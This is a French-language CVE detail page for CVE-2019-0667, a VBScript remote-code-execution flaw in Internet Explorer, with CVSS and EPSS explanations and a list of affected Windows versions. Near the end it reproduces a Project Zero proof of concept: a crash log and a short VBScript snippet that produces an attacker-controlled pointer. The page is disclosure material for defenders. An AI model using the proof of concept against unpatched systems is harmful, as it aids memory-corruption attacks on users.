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CVE-2019-0667 : Détail

CVE-2019-0667

7.5
/
HIGH
Overflow
14.78%V3
Network
2019-04-08 20:44 +00:00
2019-04-08 20:44 +00:00
CVE.org
NVD

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Descriptions

A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka 'Windows VBScript Engine Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-2019-0665, CVE-2019-0666, CVE-2019-0772.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 46568

Date de publication : 2019-03-18 23:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- There is an issue in VBScript in the VbsErase function. In some cases (see the attached PoC), VbsErase fails to clear the argument variable properly, which can trivially lead to crafting a variable with the array type, but with a pointer controlled controlled by an attacker. This issue was most likely introduced in an attempt to fix a previously reported issue in VbsErase (https://bugs.chromium.org/p/project-zero/issues/detail?id=1668). Debug log (Note: this was tested on Windows 10 64-bit v1809 with the most recent patches applied): (25b4.efc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. VBSCRIPT!VbsErase+0x5a: 6e0fc9fa 8b3e mov edi,dword ptr [esi] ds:002b:13371337=???????? 0:009:x86> r eax=0000600c ebx=05dc10dc ecx=00000000 edx=00000000 esi=13371337 edi=05c5ca44 eip=6e0fc9fa esp=05c5ca28 ebp=05c5ca48 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 VBSCRIPT!VbsErase+0x5a: 6e0fc9fa 8b3e mov edi,dword ptr [esi] ds:002b:13371337=???????? 0:009:x86> k # ChildEBP RetAddr 00 05c5ca48 6e0beac7 VBSCRIPT!VbsErase+0x5a 01 05c5ca64 6e0b9d64 VBSCRIPT!StaticEntryPoint::Call+0x37 02 05c5cb9c 6e0b8297 VBSCRIPT!CScriptRuntime::RunNoEH+0xc94 03 05c5cbec 6e0b81b5 VBSCRIPT!CScriptRuntime::Run+0xc7 04 05c5ccfc 6e0b354d VBSCRIPT!CScriptEntryPoint::Call+0xe5 05 05c5cd90 6e0ae175 VBSCRIPT!CSession::Execute+0x52d 06 05c5cdd8 6e0c0638 VBSCRIPT!COleScript::ExecutePendingScripts+0x14a 07 05c5ce6c 6e0c03e9 VBSCRIPT!COleScript::ParseScriptTextCore+0x24b 08 05c5ce98 7053ff31 VBSCRIPT!COleScript::ParseScriptText+0x29 09 05c5ced0 7053f847 MSHTML!CActiveScriptHolder::ParseScriptText+0x51 0a 05c5cf40 7053ee02 MSHTML!CScriptCollection::ParseScriptText+0x182 0b 05c5d02c 7053f50e MSHTML!CScriptData::CommitCode+0x312 0c 05c5d0a8 7053e35a MSHTML!CScriptData::Execute+0x1ba 0d 05c5d0c8 7053c526 MSHTML!CHtmScriptParseCtx::Execute+0xaa 0e 05c5d11c 70635a4c MSHTML!CHtmParseBase::Execute+0x186 0f 05c5d13c 70635319 MSHTML!CHtmPost::Broadcast+0x14c 10 05c5d264 7060b4dd MSHTML!CHtmPost::Exec+0x339 11 05c5d284 7060b3d6 MSHTML!CHtmPost::Run+0x3d 12 05c5d2a4 7060b368 MSHTML!PostManExecute+0x60 13 05c5d2b8 7060b2d9 MSHTML!PostManResume+0x6f 14 05c5d2e8 70596767 MSHTML!CHtmPost::OnDwnChanCallback+0x39 15 05c5d300 70637b9b MSHTML!CDwnChan::OnMethodCall+0x27 16 05c5d37c 706381b3 MSHTML!GlobalWndOnMethodCall+0x1cb 17 05c5d3cc 75dc635b MSHTML!GlobalWndProc+0x1f3 18 05c5d3f8 75db729c USER32!_InternalCallWinProc+0x2b 19 05c5d4dc 75db63db USER32!UserCallWinProcCheckWow+0x3ac 1a 05c5d550 75db61b0 USER32!DispatchMessageWorker+0x21b 1b 05c5d55c 71a41e05 USER32!DispatchMessageW+0x10 1c 05c5f6e0 71a413b3 IEFRAME!CTabWindow::_TabWindowThreadProc+0x435 1d 05c5f7a0 724bdf6c IEFRAME!LCIETab_ThreadProc+0x403 1e 05c5f7b8 715b24bd msIso!_IsoThreadProc_WrapperToReleaseScope+0x1c 1f 05c5f7f0 75fdfe09 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d 20 05c5f800 77ab662d KERNEL32!BaseThreadInitThunk+0x19 21 05c5f85c 77ab65fd ntdll_77a50000!__RtlUserThreadStart+0x2f 22 05c5f86c 00000000 ntdll_77a50000!_RtlUserThreadStart+0x1b --> <!-- saved from url=(0016)http://localhost --> <meta http-equiv="x-ua-compatible" content="IE=10"> <script type="text/vbscript"> Class class5 Private Sub Class_Terminate() var4 = &h13371337 ReDim var4(10000000000) End Sub End Class On Error Resume Next msgbox "start" Dim var4(10) set var4(1) = new class5 Erase var4 Erase var4 </script>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_10 >> Version 1803

Microsoft>>Windows_10 >> Version 1809

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2019 >> Version -

References


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